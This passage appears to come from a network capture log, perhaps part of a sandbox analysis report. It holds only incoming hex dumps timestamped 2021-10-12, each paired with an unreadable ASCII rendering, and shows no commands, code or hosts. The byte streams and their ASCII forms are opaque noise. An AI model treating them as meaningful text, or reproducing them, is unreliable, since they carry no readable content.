1b 3d f4 cb 04 1c 55 ce 3c d6 74 85 f9 0c fe 38 47 69 c8 94 ea fe bd 29 d1 42 39 f6 d2 9b 92 b6 53 82 Data Ascii: i=Q^8%>W86+?[k<?xdzgx:ckM^B^&5Q0mx5aKM?H]fqp7g;i7._K~w]"m1J vAf_Qw:KlbK\fi@1Q(QPIj`:9h@k=U<t8Gi)B9S
2021-10-12 00:46:29 UTC	3397	IN	Data Raw: c7 b6 50 3b 1a 93 b6 c9 15 2f fa b4 6b 15 20 cd 15 54 d0 26 37 39 2d dd f5 85 5f ad f6 ee 1b 37 b0 2b ab ba 8c fd f4 7b 35 cf ec 5b 6b a5 f3 88 34 3d db 5f e2 2e 49 97 d2 09 01 b8 fa f8 09 b2 8d a9 b5 7f 8a 12 6b fc 3f 5b 17 aa fb bf 33 08 90 9f b1 93 c2 06 83 92 f3 44 07 f5 c9 ce cf 1a 19 69 d5 de 63 91 42 7c 57 a5 37 26 fd 88 ba 28 e1 19 37 4d 85 77 19 e9 27 01 ad d0 2f 10 46 8b bc 8f 81 fe 8f e1 7e dc 67 9a b0 d7 a9 b5 f2 ca f3 98 66 72 87 b9 3a b5 4c 4d f1 91 19 07 37 b5 cc 41 34 a9 bb af 34 7b 98 69 61 45 af 9d 4e db 07 48 53 7b 2f 00 b5 0c f3 df 4d fb a6 5c 7b 0d a7 8d 69 42 94 b8 85 1c c9 cc e0 41 1e 92 52 1f 20 5d 0a a6 5e 7c 48 32 99 7b d7 5e 80 35 74 78 7e c9 da 1e f7 61 70 31 0d 8e 58 ec 99 91 72 ce 59 75 4c 27 3c 0b ae 02 85 9a 5b 2d 3f 27 7d Data Ascii: P;/k T&79-_7+{5[k4=_.Ik?[3DicB\|W7&(7Mw'/F~gfr:LM7A44{iaENHS{/M\{iBAR ]^\|H2{^5tx~ap1XrYuL'<[-?'}
2021-10-12 00:46:29 UTC	3413	IN	Data Raw: 72 4a a7 fc d9 4f 14 23 02 70 8f 74 24 dd d7 c6 2e b9 d6 7e ac 31 43 97 dc 1d 01 ca d1 18 01 8f ea c2 2d 7f 9d 2c 8c 29 cc fc 92 79 0e c5 d5 1b 73 43 9d 8a 4b 86 50 88 16 01 f3 b1 89 c6 c0 ed 58 4f e8 6a ea bd 30 42 4c fe a9 d8 5b 46 ff 53 20 03 70 40 ff a1 1a 18 28 42 51 6d e7 63 68 4d d3 57 bf 34 90 45 ab ba b5 85 04 be e2 ac 2b d2 3f b7 c9 33 9c 8a 5b 84 53 cb e6 32 62 f3 13 57 05 36 a5 20 24 38 d6 91 c4 57 86 d2 af 51 b2 20 0e 06 9e 1d b8 e4 12 2a 7d 0a d8 15 58 52 e8 4f 6c 17 fe e1 92 2e 5a ef 62 88 59 2e 23 a6 b9 35 74 fa f0 b8 f3 df 0c e0 f1 8e a1 59 7d 33 39 2e 1c 04 53 82 4e 72 26 0f 4a 39 65 bf 74 c5 c0 50 ae 8a 93 ef d6 9c 89 b6 f3 cc 17 5d 3d 5e 55 01 ff 38 f0 bf 66 1f 63 35 78 8a 49 be ba 89 6e 36 dd 6c 2f d4 39 6a a6 67 1b e5 72 a5 44 45 d3 Data Ascii: rJO#pt$.~1C-,)ysCKPXOj0BL[FS p@(BQmchMW4E+?3[S2bW6 $8WQ *}XROl.ZbY.#5tY}39.SNr&J9etP]=^U8fc5xIn6l/9jgrDE
2021-10-12 00:46:29 UTC	3429	IN	Data Raw: 80 d5 a3 83 ad 4c de f7 de 8e 49 9d 5d e7 e3 11 ab f9 3b 5d 8b 63 9e 3e 95 24 3d a1 99 05 ba 33 88 22 18 6f c9 1f 4a 84 54 fa a5 89 b1 3a dc 0e 84 a4 ac 2e f6 20 a1 4b a3 f2 5b 49 85 16 fd 9a 47 c9 cd a1 84 63 8c e2 11 62 c0 d9 44 77 d8 57 47 6f 52 e1 b2 44 38 5d 12 dc 60 4b 4b 9a bd 9b 05 16 2c e8 91 bc 83 a7 9b 1d 6a be 47 cc 1e bf 48 2b df 11 ac 8e 50 21 7b 9f 82 8b c9 3e 50 56 f3 28 b9 e2 24 b9 4c 73 a1 d1 23 c7 15 55 a7 4d 6d 1c c5 b8 2f 24 cf 13 19 d1 5a 8e 0d 6c 44 f5 a7 d5 58 de 54 e0 bf 68 7f c6 53 79 17 7f 11 2d 38 76 b6 10 9f 2d f6 11 15 8b 20 2a f8 8f a0 76 3d eb e3 64 76 51 63 17 a6 2b 10 cf ab 73 0c 97 ce e3 39 1c cb c3 6f bd e3 19 d6 04 ef 03 76 fc 5c 44 75 cb be dc e3 e9 7e 6e b4 99 cc 2b 24 bc e7 42 f5 45 28 02 0d 42 97 a8 f5 40 61 00 18 Data Ascii: LI];]c>$=3"oJT:. K[IGcbDwWGoRD8]`KK,jGH+P!{>PV($Ls#UMm/$ZlDXThSy-8v- *v=dvQc+s9ov\Du~n+$BE(B@a
2021-10-12 00:46:29 UTC	3445	IN	Data Raw: 16 1d f4 94 d9 9a e3 75 79 32 e2 4f 20 f9 11 c8 74 45 0d 92 3c 96 7f 5f a7 30 9b 72 ce bb 6e cc a9 4b 81 c3 f2 fd e0 d7 26 0a ce ab ce 94 69 27 7b 78 4c 61 a5 e0 77 26 60 e6 11 2d 7b 0a 26 5d b8 3d 38 01 97 2b 26 22 a1 9d 95 75 f9 6f 35 4b 6b 7b db 5e d2 ce 4f 39 6d f8 cc f0 d6 a7 dd 93 81 0e c8 1f 45 ce d4 79 f3 a9 2b 50 23 83 14 c5 e4 40 1d cd c6 96 34 1d 8d d5 fe 44 e7 6b 35 4b f7 b3 b0 8f 30 92 3e d8 8e 52 12 62 b5 0d bb 0a 86 08 0d e2 66 e6 85 e4 cc e7 a6 d9 cc a9 91 9c 87 69 df 10 86 cd f0 85 ec 93 c5 4c 82 d8 f0 a2 b5 be 3c ee 6e e3 71 64 66 43 f1 93 36 da d1 91 aa b7 b0 50 ee 12 86 bd 79 35 2d 95 0f 29 f6 77 9f 89 b3 4b c8 09 3f e4 b3 54 00 73 72 ad 3a 3c d0 3e 7b 5c 84 39 79 f8 51 f4 9e ca 0f 8a e2 7f 63 8f 0f 06 36 d5 7c 2c ff 71 59 8d a5 12 e0 Data Ascii: uy2O tE<_0rnK&i'{xLaw&`-{&]=8+&"uo5Kk{^O9mEy+P#@4Dk5K0>RbfiL<nqdfC6Py5-)wK?Tsr:<>{\9yQc6\|,qY
2021-10-12 00:46:29 UTC	3461	IN	Data Raw: 6f 0f 13 57 6d 02 b4 dd d2 f5 f3 0d 31 ad d8 78 37 1a 5d af c9 9d 84 08 1c 30 44 e8 90 d1 fd 66 cf 0e d5 38 e4 8e 38 80 ee 1c 6f 00 82 76 a1 3b b0 02 3b e5 13 04 e9 bd 6e 39 ed 81 0c 61 f0 dc b3 71 3b 57 84 b8 54 b2 dd d1 83 6b 46 a3 06 58 28 cd 02 1f c5 bf 87 8a 99 47 b8 3e 05 0b c1 02 cb f9 df fe 73 11 0c b5 d3 73 f6 3d 29 89 d8 69 66 f3 f3 a7 ae 85 fe 26 ab 5e c0 1f 5b 51 63 e6 de 11 02 41 a3 1d 6f c6 85 e5 ec f1 38 d5 05 06 20 d1 a2 80 63 82 c3 26 fd 1b 15 e5 ff 9f 52 f0 d4 cd 63 23 ba e8 4a ae 04 ad 89 ae 96 07 b0 78 74 e5 3b 11 ef 7c 6e 79 a6 b2 78 82 65 aa 80 e4 7c 39 53 4e 09 aa 70 8b cf e7 c3 09 d6 7f 1d 19 03 8c 23 3a 70 21 71 e7 b4 ff 4e cf e2 af a9 c1 c8 e7 f2 bb 0f a6 cc 91 43 67 ac 7a b0 e5 06 ca 21 ef c4 1d 73 8c 7e 29 08 87 da 3b ab d7 5f Data Ascii: oWm1x7]0Df88ov;;n9aq;WTkFX(G>ss=)if&^[QcAo8 c&Rc#Jxt;\|nyxe\|9SNp#:p!qNCgz!s~);_
2021-10-12 00:46:29 UTC	3477	IN	Data Raw: f0 9d 7d 9b ee 59 95 7f 28 a4 2d 1f ff 17 f1 41 93 ce 2b 54 b1 23 9a ea 85 2f 1d 3f c4 45 dc c5 5e 16 c6 0a fc 57 65 dc 79 19 99 f8 57 bc 4f 80 d7 85 39 4b 3c 4b 28 1b b1 c6 9b 8b 6b 26 02 46 f1 e6 22 e2 2b 41 00 24 0f 9e 10 8b ee b0 45 4b 77 1d a5 63 11 f7 c6 59 1c 1d 0d ba e8 43 c1 46 ba 34 83 2a 89 8d a2 4f d2 54 b8 c6 e0 87 5b cf c9 e5 20 37 db 55 60 d5 08 6a 72 af 50 6b 7c 1a eb 86 01 6c 3b 26 af 8a d8 ce e4 65 d8 fb f4 9c ba 34 83 2a 89 8d a2 4f ac ab dc 11 68 60 94 d5 a2 a5 5e f7 f5 64 7b 65 9b a6 63 af 69 4f 4b 12 4a d4 64 1f f9 a3 dc fb 4a fa 7d cf 7e c9 c8 ab 3d 18 71 83 77 b8 09 fb c3 23 cc 35 6d 1d c3 2a cd ed e1 60 6d b9 a2 61 53 c2 45 29 94 95 b5 90 86 2c 9c 0f 6a 21 67 c8 1d 8c c8 a5 e1 d6 78 c2 35 d1 e8 87 5d 48 ba ab 41 fb 2f 03 1f c6 26 Data Ascii: }Y(-A+T#/?E^WeyWO9K<K(k&F"+A$EKwcYCF4OT[ 7U`jrPk\|l;&e4Oh`^d{eciOKJdJ}~=qw#5m*`maSE),j!gx5]HA/&
2021-10-12 00:46:29 UTC	3493	IN	Data Raw: c2 96 aa ca 0c 30 56 0d d6 75 a2 04 20 14 6e 74 cb 17 7c c7 e4 48 a1 f2 a9 11 5b e4 c1 e1 02 cb 9c 86 ac 24 1b 78 1e 30 4c 59 2f 3b c9 92 18 4b 43 65 6f 52 c5 4f 52 6a bf f1 6a 70 d7 43 f6 8e fe 73 ac 24 47 56 50 5f 17 b6 c1 05 68 67 83 4e c4 4b 5d a8 1e 9b 0c ec ad 46 04 81 18 50 1e 8e a9 24 ae 1b 97 2f 8d 85 10 6e 40 11 c7 81 59 f4 2a b7 68 b9 ef c6 89 77 4e da e0 03 20 82 ba 64 92 54 84 f2 70 bb b1 ba 70 13 b9 8a 62 8b 70 4e 94 d7 bd 48 c2 f1 3c 1d ee 55 87 c1 41 05 5c d3 01 47 46 de 64 01 91 56 b3 34 f6 48 48 23 66 87 ac c0 bf 5f 00 54 da 43 c7 f1 b2 f2 6f 92 35 b6 16 56 98 d9 34 df 78 36 2b bf a3 4b da a2 2f a7 05 6b 20 69 3d c6 56 4f 74 f3 5e 63 ff 1f c4 ed ff ef 49 e1 fa 6e dc 2b af 0e 15 ec 2a dc 45 7d a6 24 e2 f9 5c 50 5e e0 7d f8 bf 90 bc 15 82 Data Ascii: 0Vu nt\|H[$x0LY/;KCeoRORjjpCs$GVP_hgNK]FP$/n@YhwN dTppbpNH<UA\GFdV4HH#f_TCo5V4x6+K/k i=VOt^cIn+E}$\P^}
2021-10-12 00:46:29 UTC	3509	IN	Data Raw: 0e 6a 43 fb 7b 16 60 3d ae 6a 89 80 22 45 11 60 82 a2 b9 c3 4f 17 d5 85 e3 4e 20 e9 49 e8 a6 e6 53 6e 42 b1 cc 87 9b 68 02 7a 72 a0 1d 21 bb 6a 25 d7 5e 01 c8 7d ec c0 55 f3 8f be d2 56 55 0f 8e 02 0d ba a0 c9 72 11 1c 64 0c 5f 3c 98 db ff 22 dd 29 a9 c1 2b ed ad 2d 16 6b 3d 1a 95 3b e3 f1 47 72 af d3 bb 28 0f 1d 29 2c 61 d6 25 bd f6 6e 83 2c 58 36 22 57 39 06 6a 12 a1 6d 3b ad 7d 10 4d 0f 32 bb c3 aa 17 91 39 63 81 84 e7 7f 9c 75 97 2a 7e ec cd d6 c1 59 9a 42 de 86 99 19 e6 ac 78 3e 53 4a 51 22 58 57 aa 0b 82 6d 2d 41 c6 72 70 7d f1 cd 79 40 65 e7 e9 5b b7 da 58 51 2d d7 82 11 65 16 18 12 7f db 98 3b 5d 52 ed 89 06 d6 8a a6 db ae fe 55 59 39 c1 49 fe 71 96 d2 f5 e1 40 42 41 d2 76 ca c6 d4 c1 6f 85 8a 5f 27 5a 8f 08 ef 58 4e db e2 9a d8 6a 44 56 34 d8 3c Data Ascii: jC{`=j"E`ON ISnBhzr!j%^}UVUrd_<")+-k=;Gr(),a%n,X6"W9jm;}M29cu*~YBx>SJQ"XWm-Arp}y@e[XQ-e;]RUY9Iq@BAvo_'ZXNjDV4<
2021-10-12 00:46:29 UTC	3525	IN	Data Raw: c9 df 7c bc 44 6c 90 3c dd fe 92 c5 56 97 45 95 e5 9e 42 e3 42 27 97 ab eb 61 ef 46 a9 a0 d9 af 4e 88 6c 0c a2 14 e2 9d 2c 43 5e 2d b6 92 59 d6 3f 2a 8e ae c3 6d 6c 78 46 76 94 77 e7 99 2d 1a 34 99 23 96 8b 93 f2 67 bd a7 11 d6 ce 97 87 2b 13 f7 dd 97 25 cd 48 fd b1 b1 07 0f e4 f5 2d 92 ad 7a 3f c0 d1 4d 46 da cb 2f 0e 67 4e fd a1 26 dc 32 59 fc 4c 26 9e 49 ff 87 de 22 f9 a6 ae 7d 97 e5 8f c1 db 5d f8 4a f2 58 99 84 fb ea 60 f4 55 23 b6 09 30 b8 11 ec 5a f9 3a bc 2f 14 06 7c 13 6e 19 9d 3d f5 b3 ba ff 46 21 da 5e d4 96 89 24 d1 2f 95 52 be ad 6a 39 05 02 c8 d8 6a b5 85 14 14 7e 28 d9 9d b1 2a 59 59 5d 29 fe d7 f3 61 2c 5c 23 61 37 cc 62 03 20 ba 94 2f 0b c9 c4 87 17 ed 8e bf 15 50 a7 a1 15 4d e7 d3 42 45 dd 37 61 02 fb 8f e3 70 41 5f d7 0f 97 f2 76 e2 da Data Ascii: \|Dl<VEBB'aFNl,C^-Y?mlxFvw-4#g+%H-z?MF/gN&2YL&I"}]JX`U#0Z:/\|n=F!^$/Rj9j~(YY])a,\#a7b /PMBE7apA_v
2021-10-12 00:46:29 UTC	3541	IN	Data Raw: 50 32 e6 38 16 b5 66 e8 61 39 4c 6b 12 75 fc 40 a2 b2 0b 19 20 b2 bd c5 41 1f 0e f5 35 50 bd d7 c6 00 8f b8 ee 7c a5 9e a0 0b 1a 30 a8 5f d1 f4 c6 dd e3 8f 5e f4 9a 3a ba a1 db 75 f5 fd 80 ce d7 db 95 92 11 6b c7 d2 83 3e 58 20 dc be a4 77 35 ed 8c 27 bd 32 1d 1b 61 a5 f1 b1 db 4a e4 eb 9c 3b ed 1f b3 3d 8a db 1d f9 30 4f a9 ae 8c f3 80 67 d9 33 18 d9 14 e5 b6 70 65 63 ad ad 8e 7b 58 cd f0 6d 80 4c cf ab db 37 34 d0 9a 0a 1d c4 46 ce 83 12 da f4 2b 12 3f 66 61 d3 af 5c f8 98 f8 5b cb 5e a8 20 b7 c2 1b 63 4b e9 d9 bf 7b 33 c9 94 89 eb fa 6c cf fa 9f c1 29 eb 12 2d 78 49 d4 a3 c9 d8 6a c6 0f a9 28 48 83 64 09 7e e7 d1 a0 ae b5 2e ab 5b fb 6a e1 ef c6 4b 1e a5 98 09 3f 9e a3 a9 16 d1 ad fe 15 f5 71 8f d7 cf 8b 62 51 ab 4e 18 93 ca c9 32 90 7e fd 1f 4c 28 8e Data Ascii: P28fa9Lku@ A5P\|0_^:uk>X w5'2aJ;=0Og3pec{XmL74F+?fa\[^ cK{3l)-xIj(Hd~.[jK?qbQN2~L(
2021-10-12 00:46:29 UTC	3557	IN	Data Raw: 13 04 0b 90 9b 43 5e 02 35 4a 5d 9e 50 13 25 d3 a4 44 73 20 10 65 3e a1 af 07 1e 49 19 28 d8 04 40 ef 31 31 8d df 8a 44 52 cb c1 0b bb 55 2b 3b 35 76 8b 40 e5 53 67 71 19 f2 e2 eb bf 30 f2 c1 a4 bf 67 f3 6a 53 b5 19 88 69 bf 08 4f 01 4e 76 01 43 1a 22 36 46 b8 97 fe 25 97 92 ce 9e 6d d9 89 c1 84 ad ac fb 3b 11 e8 df 8e 22 04 30 48 64 b5 ff ba 23 1b 0d af 9e 86 ff 93 96 e2 70 d9 d3 64 8e 57 d0 62 a1 d9 f6 23 cc 61 e4 67 b0 44 56 70 63 ca 70 b2 36 c7 b8 9a 06 fa 21 0a 32 73 71 fa cd ef fb 47 67 76 bc fe 91 28 89 2b 01 25 36 90 04 37 a0 d1 80 1b 26 2b 6b eb 7f 4e 52 df 25 be f8 26 62 ae 0b 48 41 c7 bf ed 7f 60 4e 79 16 b8 2f 5e 0c e9 50 e8 3d 0e 89 2a 7e ab bc 2d 4d da 9c 37 c3 35 50 00 d3 4c 29 d5 4d 56 66 7d 95 c2 ec e2 7c 91 e9 94 62 3f 83 5b 94 9b 72 38 Data Ascii: C^5J]P%Ds e>I(@11DRU+;5v@Sgq0gjSiONvC"6F%m;"0Hd#pdWb#agDVpcp6!2sqGgv(+%67&+kNR%&bHA`Ny/^P=*~-M75PL)MVf}\|b?[r8
2021-10-12 00:46:29 UTC	3573	IN	Data Raw: a9 eb 8d 15 c9 a6 0d 64 cb 1a 1d 7f c9 0d 3d b1 ce 1b 80 eb 68 54 fb c3 f0 c9 0f 61 15 04 a2 bb 5a 8a 3b 46 0b 7c 35 3a 02 e3 e4 e1 54 d1 a3 7a e2 91 a2 b4 06 30 cc df 18 6b 45 ac a4 48 d8 0a 5f 3c 6f 1d 3d 07 b0 1c 24 0b a0 60 01 60 12 b4 bf 3e 9c 61 6f c9 ce f6 60 5d 89 62 fc 9f 41 a2 8d b5 bc 4e 2e a5 4a 5e 7f d5 bf a2 33 b8 15 90 59 0c 68 02 f3 ec 69 89 c7 f9 78 ee 90 2f a3 cc dc ce 4d 22 ea 18 80 f3 39 5a 7f 0b 02 49 dd 44 a4 c5 d2 52 90 c0 7d d3 28 68 66 47 27 c6 e6 ca a1 25 fc 67 67 9f 7b c3 c0 a7 ac 58 02 3e e8 47 a7 f9 1f 62 b7 56 73 a4 8e 4d 2f 4f ec 7a 13 4d c1 82 9e fd a4 cf c8 ed b5 2b 8b 48 21 83 1f b2 f5 fd d7 6d 24 33 3f e0 0d 12 d2 14 94 7d 39 c7 bd 86 ef c8 a1 91 10 7f f4 3b bc cb c8 c4 52 9c 87 dd 89 58 83 d9 3e d1 81 35 61 af 03 b1 21 Data Ascii: d=hTaZ;F\|5:Tz0kEH_<o=$``>ao`]bAN.J^3Yhix/M"9ZIDR}(hfG'%gg{X>GbVsM/OzM+H!m$3?}9;RX>5a!
2021-10-12 00:46:29 UTC	3589	IN	Data Raw: 8d 51 4b fd 8a 58 82 60 45 91 86 f2 66 c3 42 27 2d 42 f7 ff 69 0a ee 89 65 a8 fa ad c0 e5 9b f0 b2 5d 5e 4d 3e ca 52 3b 5e 0f 9d 14 75 f0 b2 79 62 b5 e3 2f c7 2e cd 50 61 da 55 d5 8a 8b 0a 4f 8b 23 d1 c1 87 64 4e 80 3b db 6a 5f 77 f1 33 e3 32 cf a3 8a d2 7b 17 b2 74 20 05 23 74 7e b0 ca 0b 61 c4 5a 57 3d 96 52 ab bd f5 81 1c 47 89 07 c4 c8 ed fa 28 c2 e5 41 ec 1c 9f 96 01 44 cc 63 02 48 1d d7 fa bf 86 2d 9d 54 fb 5e 49 0b 00 a9 de cf 0c 35 91 5e 87 4a bc eb 8f 4a 19 54 7d d1 58 27 55 9c d5 75 4f b4 bd 17 4c 68 f5 97 54 84 70 48 c2 cb 58 cc b0 ec c0 61 23 ad 41 4a c7 c7 30 08 54 07 08 1a 59 c4 75 d9 ed ba 1f 6e e8 b6 b5 c2 64 d5 67 01 a5 58 b1 56 0a 6e ac 5d b3 7d 5e 24 68 80 b1 fb f9 82 d1 b0 2a 70 27 7f 51 34 b4 f3 5c 1a e3 5c 76 0d 88 14 61 ae 07 b7 5e Data Ascii: QKX`EfB'-Bie]^M>R;^uyb/.PaUO#dN;j_w32{t #t~aZW=RG(ADcH-T^I5^JJT}X'UuOLhTpHXa#AJ0TYundgXVn]}^$h*p'Q4\\va^
2021-10-12 00:46:29 UTC	3605	IN	Data Raw: 11 5f 5a e5 96 1f 84 1c c2 36 4a fb 81 d2 12 50 48 0f f6 97 76 cf 46 96 5b 68 b1 52 f6 58 99 d9 ea cb b0 a8 ce 15 71 41 c8 54 fd e3 d0 ab ca 31 11 f9 f7 ab cf 5b 54 97 fd 27 2e f7 aa 25 98 90 f7 d4 e9 78 ea df e6 21 6a 0a fc 8b ab df ef 34 e8 55 01 1c 81 e1 e3 9f 5d b9 dd 88 44 f3 b0 c0 f1 de 7b 0d 36 bd 69 f2 50 60 61 46 5d bc e0 e7 4d 25 00 b3 b8 6b e4 74 0a e9 56 8a 5c 67 ad b4 7e b7 6e cc 8f a3 e9 2a 33 39 2e d6 c2 f1 da 3b 5b af b8 18 f9 c0 a8 1d 07 a6 71 eb 77 e9 08 c5 36 db 97 79 47 dc b4 fa ac 02 e9 67 68 5a 60 a0 fe 9e fd ae e9 dc 43 da 03 29 b5 c4 4f 9c 9d 2d ed 8d 80 3d 00 88 b3 1d f9 00 6d b7 a2 34 17 fa 06 85 00 a5 08 42 e9 9f b1 2a f4 f8 f1 6d c7 13 05 1e bf 91 d0 63 92 0f 10 d4 fb 23 f1 e3 f1 0a 27 7a 0c 68 5f 67 f5 0e 6c e3 bc 15 46 88 a3 Data Ascii: _Z6JPHvF[hRXqAT1[T'.%x!j4U]D{6iP`aF]M%ktV\g~n39.;[qw6yGghZ`C)O-=m4Bmc#'zh_glF
2021-10-12 00:46:29 UTC	3621	IN	Data Raw: 57 33 fa bb c0 f9 23 2b 97 cc 5c b5 7e 75 6b 0b d8 aa c8 a6 b6 6e 61 4a 8a 2e ef 95 fd ad 17 e6 39 ff 65 09 4b 80 93 0f 69 37 91 47 f2 b0 7a 6d da 10 c2 76 6c 3a 89 4a 41 6f 6f 3b 3e 95 30 c9 76 43 77 a2 9d ad 9b d8 b3 a4 44 56 ee 03 9d 52 5b fa f6 e3 b7 2a 2d a6 29 11 ab 95 e4 59 6c b2 b3 72 a3 1f bd ec 33 34 d6 4e 03 89 f2 6b 6c 1f 40 ef ea 4a e6 48 cf 83 6b b3 e0 c6 f1 cc f5 ea 19 e2 b6 ac 93 73 2b f8 fd bc 96 9c e3 79 bb 04 ed d7 99 a6 d1 dc 33 76 fa 29 ac 55 98 f2 a7 0e f8 74 d8 90 c3 16 71 8a 85 60 5e aa 31 d7 06 c4 90 33 a5 a9 e9 7c 90 85 f1 30 90 fc 7b 35 db d5 be da 63 b5 0f 10 b4 ae 02 ca af 68 3b a4 4f e0 ec 36 f6 3f 40 d9 af 58 74 33 ec 84 7e 94 ed 03 d0 13 77 cb e4 de 25 7d 6d bb f7 c5 ce de e1 89 99 22 6d 1c 71 47 a5 07 1e 14 25 70 39 5d 97 Data Ascii: W3#+\~uknaJ.9eKi7Gzmvl:JAoo;>0vCwDVR[*-)Ylr34Nkl@JHks+y3v)Utq`^13\|0{5ch;O6?@Xt3~w%}m"mqG%p9]
2021-10-12 00:46:29 UTC	3637	IN	Data Raw: 5a a4 a0 b7 af fc 62 80 17 24 b3 66 3a cd f1 22 55 54 a5 ab 7c b9 bb f6 d1 a8 f1 8e 70 6d 1d 84 1b 00 49 fe 21 ef ac 67 fc ef 9f 7c 76 e3 60 34 aa 8f a7 3f 25 4b ac 2d a8 7a 7a d6 cc 89 19 58 b9 05 74 1e 70 2d be 7f aa db 28 a8 f9 4c 74 ee a8 ee 52 5d 68 be 41 49 9d ac 52 4d 9f 70 08 c5 94 b8 13 1f c1 be 52 bb 9f 29 61 39 a8 b2 2c 29 f8 a2 36 dc b8 e3 25 8e 33 68 7f 98 9c 7a c7 60 39 ee 1b f8 52 fc c1 4b 72 9b 77 eb 74 da 15 08 d6 c6 3e d7 ec a6 45 68 ce d1 62 4a de ef f0 37 69 14 7b f5 b6 63 bd 5f a4 9c d0 7e 44 26 57 3f e0 01 ac 14 a3 c1 c8 b4 cd c0 db b2 da 9a 7d 01 1e e5 68 a8 c8 9a 65 ba 23 29 2f 0d ee bb 61 f3 a3 db d2 8b 83 f1 46 74 8f fa 11 89 d5 02 20 0f 80 83 3e 2b d3 9b ba be 00 6f cc a9 d9 c7 08 19 21 f7 42 58 ea 42 c7 cc cc 57 2c c3 1e d8 62 Data Ascii: Zb$f:"UT\|pmI!g\|v`4?%K-zzXtp-(LtR]hAIRMpR)a9,)6%3hz`9RKrwt>EhbJ7i{c_~D&W?}he#)/aFt >+o!BXBW,b
2021-10-12 00:46:29 UTC	3653	IN	Data Raw: 79 3a e0 cc d5 88 dc 82 44 ba b7 1b 88 57 e0 b4 27 4e 58 d2 6e e8 d1 b6 b3 2a ca 78 69 c8 12 c8 df a9 4d 26 61 bf 41 21 9b ca 7f f1 1e a3 57 31 a7 66 aa 50 8d 19 50 b5 8a c5 07 5a 5c ba d0 25 17 dd 32 ac ee 93 24 fc 6d 8a 4a b4 9a d0 7d ce 14 a0 9e b4 78 27 9c 64 ca 6b 9e c4 80 42 db 73 f3 3c 0c 19 60 57 22 8b 2f 70 4b 07 9a b6 81 fb f9 fd 8f 57 39 90 de f1 04 e4 76 4e 44 f0 be 6a 14 93 d5 f2 d2 54 cd fb 59 44 fd 6f 40 81 73 a0 6c 25 f3 ca f3 fc ea 09 96 0c fd f3 6e a4 ac f9 be b9 d1 8e 62 c9 a4 1b ca 3d 84 c8 5b 4f c5 5f 23 8e 16 01 f9 07 23 66 5f ad 7e 68 a1 c6 df fd 18 a6 ac f3 51 a1 3b c5 87 d9 93 b1 44 f8 fd 98 e8 a4 ea 65 3a 7f c3 00 6b bd 7d cc b4 f9 78 66 dd b0 4b b2 0b 3d 91 60 90 e7 11 2f 49 74 d0 14 94 bb 56 7e 92 80 b3 51 7d 0d 49 8c 2e 40 79 Data Ascii: y:DW'NXn*xiM&aA!W1fPPZ\%2$mJ}x'dkBs<`W"/pKW9vNDjTYDo@sl%nb=[O_##f_~hQ;De:k}xfK=`/ItV~Q}I.@y
2021-10-12 00:46:29 UTC	3669	IN	Data Raw: 0c 00 5a 67 93 f8 55 d0 51 3b c2 fe 9a c4 33 5b cd f2 bb 34 93 d9 5f 6f 23 c7 e7 dc da d5 0c 2d e3 39 01 ff 64 be a4 9f af 3b 93 a2 49 2c 3c ae 2e fc 54 39 32 ff 06 91 7e 7a 00 bb c7 8a 18 e4 5e e2 a6 b8 1f d5 36 8f e6 62 84 89 7b 42 17 9e 1e 37 a5 f7 f5 fa e2 64 9d e2 bb df 09 87 1c 8c e0 01 62 4d 09 a0 29 57 38 f6 da 09 74 8f 6d 4e 29 17 3e 57 83 1e d2 14 48 19 c4 88 e2 03 42 c9 98 05 f6 87 43 bf 02 16 56 21 69 1d 31 24 c3 9a f3 18 dd e4 09 ff 9c c9 12 c0 8c 9e 6b 00 a8 83 af bc 44 52 a8 74 8f 72 8b 48 88 ac 30 b8 18 36 b7 fc d0 fc cf e3 ce c6 e8 64 98 87 86 23 0a 6d be e5 f3 ef dc eb 1f ff 77 9c c9 81 fa 82 69 12 af 42 af d1 1b 6f 38 31 46 7d 6e 84 d8 7b 69 b2 aa f5 03 34 df f8 6b 3c 25 0c 12 0a bc 76 7b 9b c8 c5 7b 15 c9 ea 11 08 8b 0f 0a 4e e6 5f a0 Data Ascii: ZgUQ;3[4_o#-9d;I,<.T92~z^6b{B7dbM)W8tmN)>WHBCV!i1$kDRtrH06d#mwiBo81F}n{i4k<%v{{N_
2021-10-12 00:46:29 UTC	3685	IN	Data Raw: 5a 50 a1 08 46 da 24 f8 82 fe 54 33 e8 5e 9c 8e 27 da fb 78 6e 2d ae ac 8b 3c 0d 78 88 fa 3f 1b 1f ef bd ac 7c 2f f5 20 28 4d a1 64 96 e2 39 fc af f5 4a 17 ac ec 8c a5 a8 b5 c6 db e8 b7 f7 81 78 8d e1 64 7f 5b d6 14 67 c5 8e 79 d1 d9 b3 8f c9 d7 ee b7 eb 78 79 4f 1a 5d 1a f8 e8 74 10 dd 71 71 4e ea 8a 4f e4 ac 1f 7b b3 5b 61 47 30 0b c1 7a f9 6b 5f 80 a3 ca aa ee a2 50 ff cf 97 9d db ff 35 61 cc 0a 81 22 e1 cc 3f 7d 37 ae ed b1 fa c1 29 9a 9e 47 5e 85 bb 04 c3 a6 06 c1 6a 2f b2 79 da fa 72 19 aa cf 19 61 64 36 d3 15 f9 83 d9 51 73 b1 92 a7 ac 6b f5 02 ce f7 2a a9 62 e2 5f 74 84 ce 82 77 dc 40 0c a1 7d e0 ea 73 cd 20 be ae 6b d3 41 ac d9 b8 c7 2d 74 90 23 f2 ed e7 ba 43 a5 0b 06 19 4d 79 64 df 48 d7 44 56 01 91 19 ad 50 07 ca 26 af 5b 5b f5 e5 8e 43 8a 4c Data Ascii: ZPF$T3^'xn-<x?\|/ (Md9Jxd[gyxyO]tqqNO{[aG0zk_P5a"?}7)G^j/yrad6Qsk*b_tw@}s kA-t#CMydHDVP&[[CL
